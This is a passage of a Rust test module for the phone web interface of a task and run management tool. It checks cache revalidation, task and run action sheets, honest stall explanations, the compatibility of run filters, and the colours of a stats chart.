18161        // before deleting. Run `magi fold` first." - deleted two releases
18162        // earlier - from a deck that no longer contained the sentence. The
18163        // button it named was right there, and unreachable.
18164        let js = fx.get("/app.js").await;
18165        assert_eq!(js.status, 200);
18166        let tag = js
18167            .header("etag")
18168            .expect("an etag to revalidate against")
18169            .to_owned();
18170        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
18171        assert_eq!(
18172            js.header("cache-control"),
18173            Some("no-cache, must-revalidate"),
18174            "the phone has to ask every time"
18175        );
18176
18177        // And the asking has to be cheap, or `must-revalidate` just means
18178        // "send the whole interface on every load".
18179        let again = fx
18180            .get_with("/app.js", &[("if-none-match", tag.as_str())])
18181            .await;
18182        assert_eq!(
18183            again.status, 304,
18184            "a deck it already has costs one round trip"
18185        );
18186        assert!(again.body.is_empty(), "304 carries no body");
18187
18188        // A weakened tag from a proxy still matches; a different build does
18189        // not, which is the case that has to deliver the new interface.
18190        let weak = fx
18191            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
18192            .await;
18193        assert_eq!(weak.status, 304);
18194        let stale = fx
18195            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
18196            .await;
18197        assert_eq!(stale.status, 200, "an older build must be replaced");
18198        assert!(stale.body.contains("renderRunActions"));
18199    }
18200
18201    #[test]
18202    fn the_task_detail_has_an_actions_fab_and_sheet() {
18203        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
18204        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
18205        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
18206        // Shown only on the task route, closed everywhere else.
18207        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
18208        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
18209        // Refreshed whenever the detail redraws, including the loading state.
18210        assert!(APP_JS.contains("renderTaskActions(task);"));
18211        assert!(APP_JS.contains("renderTaskActions(null);"));
18212        // Same renderers and routes as the Queue card, no new endpoint.
18213        let sheet = APP_JS
18214            .find("function renderTaskActions")
18215            .expect("sheet renderer");
18216        let body = &APP_JS[sheet..sheet + 3000];
18217        assert!(body.contains("changePriority("));
18218        assert!(body.contains("openTaskEdit(task)"));
18219        assert!(body.contains("renderTaskHoldBox(host"));
18220        assert!(body.contains("renderTaskDoneBox(host"));
18221        assert!(body.contains("renderTaskDeleteBox(host"));
18222        assert!(APP_JS.contains("API.priority(id)"));
18223        assert!(APP_JS.contains("API.deleteTask(id)"));
18224        // A deleted task sends the operator back to the queue.
18225        assert!(APP_JS.contains("location.hash = \"#/queue\""));
18226        // A refusal is shown inside the sheet.
18227        assert!(APP_JS.contains("$(\"task-actions-error\")"));
18228    }
18229
18230    #[test]
18231    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
18232        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
18233        let actions = INDEX_HTML
18234            .find("id=\"run-actions-box\"")
18235            .expect("actions box");
18236        assert!(task < actions, "the task entry comes first in the sheet");
18237        assert!(APP_JS.contains("renderRunTaskEntry"));
18238        assert!(APP_JS.contains("\"Open task \""));
18239        // A run without a task says why there is nothing to open.
18240        assert!(APP_JS.contains("started directly, no task"));
18241        assert!(APP_JS.contains("sheet-task-link"));
18242        assert!(APP_JS.contains("task-chip-link"));
18243    }
18244
18245    #[test]
18246    fn the_deck_never_sends_the_operator_to_a_terminal() {
18247        // The whole point of the phone UI is that a terminal is not needed.
18248        // The delete control used to answer with "Run `magi fold` first."
18249        assert!(
18250            !APP_JS.contains("Run `magi fold` first"),
18251            "the deck must offer the fold, not prescribe a shell command"
18252        );
18253        assert!(APP_JS.contains("foldRun:"));
18254        assert!(APP_JS.contains("resumeRun:"));
18255        assert!(APP_JS.contains("renderRunActions"));
18256
18257        // Folding is destructive and armed in two steps, like deleting.
18258        assert!(APP_JS.contains("armedFold"));
18259        assert!(APP_JS.contains("Yes, fold worktrees"));
18260
18261        // And the copy has to say that the two actions are opposites, because
18262        // folding throws away exactly what a resume would continue from.
18263        assert!(APP_JS.contains("can no longer be resumed"));
18264    }
18265
18266    #[test]
18267    fn a_finished_run_explains_itself_with_its_own_last_line() {
18268        // The deck used to answer "why did this stop?" with a sentence chosen
18269        // by status alone. Run e633 stalled because two judges answered with
18270        // the wrong JSON shape and its card said "The panel collapsed on
18271        // agent quota" - with `quota: []` in the record and a quota-loss
18272        // counter right above it that correctly said nothing.
18273        assert!(
18274            !APP_JS.contains("collapsed on agent quota"),
18275            "a stall must not be explained by a cause the deck did not check"
18276        );
18277        assert!(
18278            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
18279            "and a block must not offer a guess with an `or` in it"
18280        );
18281
18282        // The reason it does have is `run.event`, which must reach finished
18283        // runs: gating it on movement hid the recorded truth at the one moment
18284        // the operator is reading the card to find out what happened.
18285        assert!(
18286            APP_JS.contains("setText(r.event, run.event || \"\")"),
18287            "the run's last line is rendered unconditionally"
18288        );
18289        assert!(
18290            !APP_JS.contains("moving && run.event"),
18291            "and never gated on the run still moving"
18292        );
18293
18294        // Quota keeps its own counter, fed by the number actually recorded.
18295        assert!(APP_JS.contains("lost to quota"));
18296    }
18297
18298    /// The runs tree (section) and the state chips (waiting/done) are two
18299    /// independent lenses ANDed together in `renderRuns`, and some pairings
18300    /// can never both be true for any run - every "Landed"/"Ended" run is
18301    /// done by construction, so pairing either with "Active" or "In flight"
18302    /// always rendered zero cards with the filter bar still claiming
18303    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
18304    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
18305    /// a handful of (waiting, status) shapes standing in for the run
18306    /// lifecycle, because `cargo test` cannot execute the front end.
18307    ///
18308    /// That stand-in list is itself the part that drifted twice in review:
18309    /// once shipped with `waiting: true` paired with a done status the
18310    /// lifecycle cannot produce, then over-corrected into treating every
18311    /// waiting run as never done - which made "Waiting on you" look
18312    /// incompatible with "Done" even for the one real, reachable shape
18313    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
18314    /// that combination. This test parses the shapes and the done-rule back
18315    /// out of `APP_JS`, reimplements `runSection` and the five state
18316    /// predicates independently in Rust, and checks the resulting
18317    /// section/filter compatibility table against the lifecycle rules by
18318    /// hand - so either direction of drift fails it again.
18319    #[test]
18320    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
18321        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
18322        let shapes_body_start =
18323            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
18324        let shapes_close = APP_JS[shapes_body_start..]
18325            .find("].map(")
18326            .expect("the shape list is closed by its done-computing .map(...)")
18327            + shapes_body_start;
18328        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
18329
18330        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
18331        for entry in shapes_src.split('{').skip(1) {
18332            let waiting = entry.contains("waiting: true");
18333            let dead = entry.contains("live: \"dead\"");
18334            let status_at =
18335                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
18336            let status_end = entry[status_at..]
18337                .find('"')
18338                .expect("the status string is closed")
18339                + status_at;
18340            let parked = entry.contains("display_status: \"parked\"");
18341            shapes.push((
18342                waiting,
18343                entry[status_at..status_end].to_string(),
18344                dead,
18345                parked,
18346            ));
18347        }
18348        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
18349
18350        // The done rule itself (`!["implementing"].includes(shape.status)`),
18351        // read out of the source rather than hardcoded, so a renamed
18352        // in-flight status can't silently make every parsed shape "done".
18353        let done_rule_marker = "done: !";
18354        let done_rule_at = APP_JS[shapes_close..]
18355            .find(done_rule_marker)
18356            .expect("the done rule follows the shape list")
18357            + shapes_close
18358            + done_rule_marker.len();
18359        let includes_at = APP_JS[done_rule_at..]
18360            .find(".includes(shape.status)")
18361            .expect("the done rule ends in .includes(shape.status)")
18362            + done_rule_at;
18363        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
18364            .trim()
18365            .trim_start_matches('[')
18366            .trim_end_matches(']')
18367            .split(',')
18368            .map(|s| s.trim().trim_matches('"'))
18369            .filter(|s| !s.is_empty())
18370            .collect();
18371
18372        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
18373            .into_iter()
18374            .map(|(waiting, status, dead, parked)| {
18375                let done = !not_done.contains(&status.as_str());
18376                (waiting, status, dead, parked, done)
18377            })
18378            .collect();
18379
18380        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
18381        // outright, then merged/ready land, stalled/blocked/failed/
18382        // verified_noop end, and everything else is still in flight.
18383        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
18384            if waiting {
18385                return "waiting";
18386            }
18387            if dead
18388                && !parked
18389                && !matches!(
18390                    status,
18391                    "merged"
18392                        | "ready"
18393                        | "stalled"
18394                        | "blocked"
18395                        | "failed"
18396                        | "verified_noop"
18397                        | "superseded"
18398                        | "already_in_base"
18399                )
18400            {
18401                return "stale";
18402            }
18403            match status {
18404                "merged" | "ready" => "landed",
18405                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
18406                | "already_in_base" => "ended",
18407                _ => "flight",
18408            }
18409        }
18410
18411        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
18412        // way.
18413        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
18414            match filter_key {
18415                "active" => !done,
18416                "flight" => !done && !waiting && !dead,
18417                "stale" => !done && !waiting && dead,
18418                "waiting" => waiting,
18419                "done" => done,
18420                "all" => true,
18421                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
18422            }
18423        }
18424
18425        let compatible = |section: &str, filter_key: &str| {
18426            shapes.iter().any(|(waiting, status, dead, parked, done)| {
18427                run_section(*waiting, status, *dead, *parked) == section
18428                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
18429            })
18430        };
18431
18432        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
18433        // (active, flight, stale, waiting, done, all) - hand-derived from the
18434        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
18435        // currently contains.
18436        let expected = [
18437            ("waiting", [true, false, false, true, true, true]),
18438            ("stale", [true, false, true, false, false, true]),
18439            ("flight", [true, true, false, false, false, true]),
18440            ("landed", [false, false, false, false, true, true]),
18441            ("ended", [false, false, false, false, true, true]),
18442        ];
18443        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
18444
18445        for (section, wants) in expected {
18446            for (filter_key, want) in filter_keys.iter().zip(wants) {
18447                assert_eq!(
18448                    compatible(section, filter_key),
18449                    want,
18450                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
18451                );
18452            }
18453        }
18454
18455        // The compatibility check exists only to be acted on: both pickers
18456        // must actually consult it rather than just render its answer.
18457        assert!(
18458            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
18459        );
18460        assert!(APP_JS.contains(
18461            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
18462        ));
18463        assert!(APP_JS.contains(
18464            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
18465        ));
18466    }
18467
18468    #[tokio::test]
18469    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
18470        // An operator-named directory - git checkout or not - is never
18471        // second-guessed, even when it does not exist at all: only the
18472        // flag's own unmodified `.` default is ever eligible for discovery.
18473        let dir = tempfile::tempdir().expect("tempdir");
18474        let explicit = dir.path().join("not-a-checkout");
18475        std::fs::create_dir_all(&explicit).expect("create dir");
18476        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
18477
18478        let missing = dir.path().join("does-not-exist-at-all");
18479        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
18480    }
18481
18482    #[test]
18483    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
18484        assert!(APP_JS.contains("function statsDonutArcs"));
18485        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
18486        // A bucket click filters by the statuses src/stats.rs counts in it.
18487        assert!(APP_JS.contains("function statusInBucket"));
18488        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
18489        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
18490        let buckets = [
18491            "merged",
18492            "ready",
18493            "in_progress",
18494            "blocked",
18495            "failed",
18496            "verified_noop",
18497            "superseded",
18498            "stalled",
18499        ];
18500        for key in buckets {
18501            let var = format!("--verdict-{key}:");
18502            // Light, OS-dark and pinned-dark blocks each define it.
18503            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
18504            assert!(
18505                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
18506                "{key}"
18507            );
18508        }
18509    }
18510}